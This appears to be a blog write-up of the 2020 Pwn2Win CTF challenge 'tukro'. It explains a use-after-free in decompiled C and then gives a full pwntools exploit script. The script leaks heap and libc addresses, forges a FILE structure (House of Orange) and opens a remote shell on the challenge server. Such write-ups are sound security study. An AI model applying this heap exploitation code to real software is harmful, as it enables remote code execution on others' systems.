본문 바로가기

PWN

2020 PWN2WIN / tukro

#Summary

 

A sends a message to B. B deletes the message. UAF(Use-After-Free) occurs when A reads or modifies a message sent to B. You can do RCE using House of Orange. The solution of this problem is extremely similar to the 300 from 34c3.

 

https://github.com/DhavalKapil/ctf-writeups/blob/master/34c3ctf-2017/300/exploit.py

 

 

 

first blood

 


 

#Find Vulnerable

 

 

 

 

This function sends a message to another user. Users can only allocate chunks of size 0x500. This strict size limit makes exploits extremely difficult.

 

signed __int64 __fastcall Write_Testimonial(int idx)
{
  const char *v1; // rsi
  void *buf_1; // ST18_8
  int v3; // edx
  signed __int64 result; // rax
  signed int user_idx; // [rsp+10h] [rbp-30h]
  int i; // [rsp+14h] [rbp-2Ch]
  char buf; // [rsp+20h] [rbp-20h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  user_idx = -1;
  printf("Recipient Username: ");
  v1 = &buf;
  read(0, &buf, 0x10uLL);
  if ( strlen(&buf) > 3 )
  {
    v1 = &USER[200 * idx];
    if ( strcmp(&buf, v1) )
    {
      for ( i = 0; i < user_number; ++i )
      {
        v1 = &USER[200 * i];
        if ( !strcmp(&buf, v1) )
        {
          user_idx = i;
          break;
        }
      }
    }
  }
  if ( user_idx < 0 )
  {
    puts("User Not Found!");
    result = 0xFFFFFFFFLL;
  }
  else if ( testimonials[50 * user_idx] > 9 )
  {
    puts("The user cannot receive new testimonials");
    result = 0xFFFFFFFFLL;
  }
  else
  {
    printf("Testimonial: ", v1);
    buf_1 = malloc(0x500uLL);
    read(0, buf_1, 0x500uLL);
    *(&unk_203068 + 25 * user_idx + 2 * (testimonials[50 * user_idx] + 2LL)) = buf_1;
    *(&unk_203074 + 50 * user_idx + 4 * (testimonials[50 * user_idx] + 2LL)) = idx;
    v3 = testimonials[50 * user_idx];
    testimonials[50 * user_idx] = v3 + 1;
    *(&unk_203070 + 50 * user_idx + 4 * (v3 + 2LL)) = user_idx;
    result = 0LL;
  }
  return result;
}

 

 

Delete message

 

A function that deletes messages sent by other users to the current user. In this function, a pointer is not erased after Free, which causes a UAF vulnerability.

 

unsigned __int64 __fastcall Delete_Testimonial(int a1)
{
  signed __int64 v1; // rdx
  char *v2; // rcx
  char *v3; // rax
  __int64 v4; // rdx
  char *v5; // rcx
  int i; // [rsp+18h] [rbp-28h]
  int idx; // [rsp+1Ch] [rbp-24h]
  __int64 v9; // [rsp+20h] [rbp-20h]
  __int64 v10; // [rsp+28h] [rbp-18h]
  char buf; // [rsp+30h] [rbp-10h]
  unsigned __int64 v12; // [rsp+38h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  if ( testimonials[50 * a1] )
  {
    printf("Testimonial Number: ");
    read(0, &buf, 8uLL);
    idx = atoi(&buf);
    if ( idx <= 0 || idx > testimonials[50 * a1] )
    {
      puts("Not found");
    }
    else if ( idx == testimonials[50 * a1] )    // The last idx. So this user can't access 
    {
      free(*(&unk_203068 + 25 * a1 + 2 * (--testimonials[50 * a1] + 2LL)));// UAF
    }
    else
    {
      v1 = 16 * (idx - 1 + 2LL) + 200LL * a1;
      v9 = *&USER[v1 + 8];
      v10 = *&USER[v1 + 16];
      for ( i = idx; i <= testimonials[50 * a1]; ++i )
      {
        v2 = &USER[200 * a1 + 16 * (i - 1 + 2LL)];
        v3 = &USER[200 * a1 + 16 * (i + 2LL)];
        v4 = *(v3 + 2);
        *(v2 + 1) = *(v3 + 1);
        *(v2 + 2) = v4;
      }
      v5 = &USER[200 * a1 + 16 * (--testimonials[50 * a1] + 2LL)];
      *(v5 + 1) = v9;
      *(v5 + 2) = v10;
      free(*(&unk_203068 + 25 * a1 + 2 * (testimonials[50 * a1] + 2LL)));
    }
  }
  else
  {
    puts("You don't have a testimonial yet");
  }
  return __readfsqword(0x28u) ^ v12;
}

 

 

This is a function to view or modify the message I sent. Here you can print or edit the free message.

 

unsigned __int64 __fastcall Testimonials_I_Wrote(int a1)
{
  int v1; // edx
  _QWORD *v2; // rcx
  __int64 v3; // rdx
  __int64 v4; // rdx
  size_t v5; // rax
  _QWORD *v6; // rdx
  int v8; // [rsp+1Ch] [rbp-654h]
  signed int i; // [rsp+20h] [rbp-650h]
  signed int j; // [rsp+24h] [rbp-64Ch]
  signed int k; // [rsp+28h] [rbp-648h]
  int select; // [rsp+2Ch] [rbp-644h]
  __int64 v13[31]; // [rsp+30h] [rbp-640h]
  char buf; // [rsp+128h] [rbp-548h]
  char s[8]; // [rsp+130h] [rbp-540h]
  __int64 v16; // [rsp+138h] [rbp-538h]
  __int64 v17; // [rsp+140h] [rbp-530h]
  __int64 v18; // [rsp+148h] [rbp-528h]
  __int64 v19; // [rsp+150h] [rbp-520h]
  char v20[1272]; // [rsp+160h] [rbp-510h]
  __int64 v21; // [rsp+658h] [rbp-18h]
  unsigned __int64 v22; // [rsp+668h] [rbp-8h]

  v22 = __readfsqword(0x28u);
  v8 = 0;
  *s = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  for ( i = 0; i <= 3; ++i )
  {
    for ( j = 0; j <= 9; ++j )
    {
      if ( a1 == *(&unk_203074 + 50 * i + 4 * (j + 2LL)) && *(&unk_203068 + 25 * i + 2 * (j + 2LL)) )
      {
        v1 = v8++;
        v13[v1] = &USER[200 * i + 8 + 16 * (j + 2LL)];
        puts(&byte_21C9);
        printf("Testimonial %d: ", v8);
        for ( k = 0; k <= 31; ++k )
        {
          v2 = (40 * k + *v13[v8 - 1]);
          v3 = v2[1];
          *s = *v2;
          v16 = v3;
          v4 = v2[3];
          v17 = v2[2];
          v18 = v4;
          v19 = v2[4];
          if ( !s[0] )
            break;
          puts(&byte_21C9);
          v5 = strlen(s);
          write(1, s, v5);                      // UAF print
        }
      }
    }
  }
  if ( v8 <= 0 )
  {
    puts("You haven't written a testimonial yet");
  }
  else                                          // 내가 씀 ->
                                                // 다른 사람이 지움 ->
                                                // 내가 수정 ->UAF
  {
    printf("\nEdit Testimonial (y/N): ");
    read(0, &buf, 8uLL);
    if ( buf == 'Y' || buf == 'y' )
    {
      printf("Testimonial Number: ", &buf);
      read(0, &buf, 8uLL);
      select = atoi(&buf);
      if ( select <= 0 || select > v8 )
      {
        puts("Not found");
      }
      else
      {
        printf("New Testimonial: ", &buf);
        memset(v20, 0, 0x500uLL);
        read(0, v20, 0x500uLL);                 // UAF write
        v6 = *v13[select - 1];
        *v6 = *v20;
        v6[159] = v21;
        qmemcpy(
          ((v6 + 1) & 0xFFFFFFFFFFFFFFF8LL),
          (v20 - (v6 - ((v6 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
          8LL * (((v6 - ((v6 + 8) & 0xFFFFFFF8) + 1280) & 0xFFFFFFF8) >> 3));
      }
    }
  }
  return __readfsqword(0x28u) ^ v22;
}

 

 

 


Exploit

 

This problem uses glibc 2.23. Let's summarize what we can do.

 

  • We can do UAF Write on chunks of size 0x500.
  • We can do UAF Read on chunks of size 0x500.

These conditions make exploitation using fast bins difficult. Therefore, we can feel a little difficult about this problem. However, the problem with the same condition has already come out. It is 300 of 34C3. One of the publicly available write up on this issue used House of Orange. I applied the script to get the remote shell.

 

https://github.com/DhavalKapil/ctf-writeups/blob/master/34c3ctf-2017/300/exploit.py

 

from pwn import *
#context.log_level="debug"
Libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

one= [0x45216,0x4526a,0xf02a4,0xf1147]
def sd(data,new_line=1):
    data = str(data)
    if(new_line):
        p.sendline(data)
    else:
        p.send(data)
def re(data):
    return p.recvuntil(data)

def User(mode,ID,PW):
    if mode:
	log.info('signup') 
        re(':')
        sd('1')
        re(':')
        sd(ID+'\x00')
        re(':')
        sd(PW+'\x00')
    else:
	log.info('signin')
        re(':')
        sd('2')
        re(':')
        sd(ID+'\x00')
        re(':')
        sd(PW+'\x00')

def write(name,data):
    re('Your choice: ')
    sd('1')
    re('Recipient Username: ')
    sd(name+'\x00',new_line=0)
    re("Testimonial:")
    sd(data)

def out():
    re(':')
    sd('5')

def remove(idx):
    re(':')
    sd('4')
    re(':')
    sd(idx)

def rewrite(idx,data):
    re(':')
    sd('3')
    re('):')
    sd('y')
    re(":")
    sd(idx)
    re(':')
    sd(data)


#p = process('tukro')
p = remote('tukro.pwn2.win',1337)


User(1,"test","test")
User(1,"test2","test2")
User(0,"test","test")
write('test2',"a"*0x1)#1
write('test2','b')#2
write('test2','c')#3
write('test2','d')#4
write("test2",'e')#5
out()
User(0,"test2","test2")
remove(2)#free 2
remove(3)#free 4
out()
User(0,'test','test')
#leak heap and libc


re('Your choice: ')
sd('3')

re('4: \n')
heap= p.recv(6).ljust(8,'\x00')
heap = u64(heap) -0x510
log.info('heap_base = '+hex(heap))

re('5: \n')
libc = p.recv(6).ljust(8,'\x00')
libc = u64(libc)-0x3c4b78
log.info('libc_base = '+hex(libc))
re(':')
sd('N')

out()
User(0,'test2','test2')
#clear all chunk
remove(1)
remove(1)
remove(1)




write('test','a123'*0x1)
write('test','b123'*0x1)
write('test',p64(libc+0xf1147)*(0x400/8))
log.info('one  = '+hex(libc+one[1]))
out()
User(0,'test','test')
remove(2)
out()
User(0,"test2","test2")
re("Your choice: ")
sd('3')
re('(y/N):')
sd('Y')
re("Testimonial Number:")
sd('1')#idx
###Write at 1 for fake chunk#############
re('New Testimonial:')
payload = 'a' * (0x500 - 0x20)
payload+= p64(0)
payload+= p64(0x511)
payload+= p64(heap + 0x510)#???????
payload+= p64(libc + 0x3c4b78)
sd(payload,new_line=0)

####Write at 2 freeed chunk#############
payload = p64(libc + 0x3c4b78 ) + p64(heap + 0x500 - 0x10) 
rewrite(3,payload)



write('test',"c")
#### alloc fake chunk

write('test','w')



out()

User(0,'test',"test")
remove(3)#insert 0x510 into unsorted bin


out()
User(0,"test2","test2")


io_list_all_addr = libc + Libc.symbols['_IO_list_all']
jump_table_addr = libc + Libc.symbols['_IO_file_jumps'] + 0xc0
file_struct = p64(0) + \
          p64(0x61) + \
          p64(libc + 0x3c4b78) + \
          p64(io_list_all_addr - 0x10) + \
          p64(2) + \
          p64(3)


struct = file_struct.ljust(0xd8, "\x11")
file_struct += p64(jump_table_addr)
file_struct += p64(libc + 0x4557a)
payload = p64(0)*2 + file_struct
payload+= p64(heap+0xa30)*((0x500-len(payload))/8)

rewrite('3',payload)

log.info('Trigger')
write('test',"/bin/sh")

p.interactive()

 

 

 

 

'PWN' 카테고리의 다른 글

ASIS CTF 2020 / tthttpd  (0) 2020.07.06
Multiple vulnerabilities In radare2-extras / Fixed  (0) 2020.07.03
2020 DawgCTF / trASCII  (0) 2020.04.14
HackCTF/ Unexploitable #4  (0) 2020.03.24
FireShell CTF 2020 / FireHTTPD  (0) 2020.03.23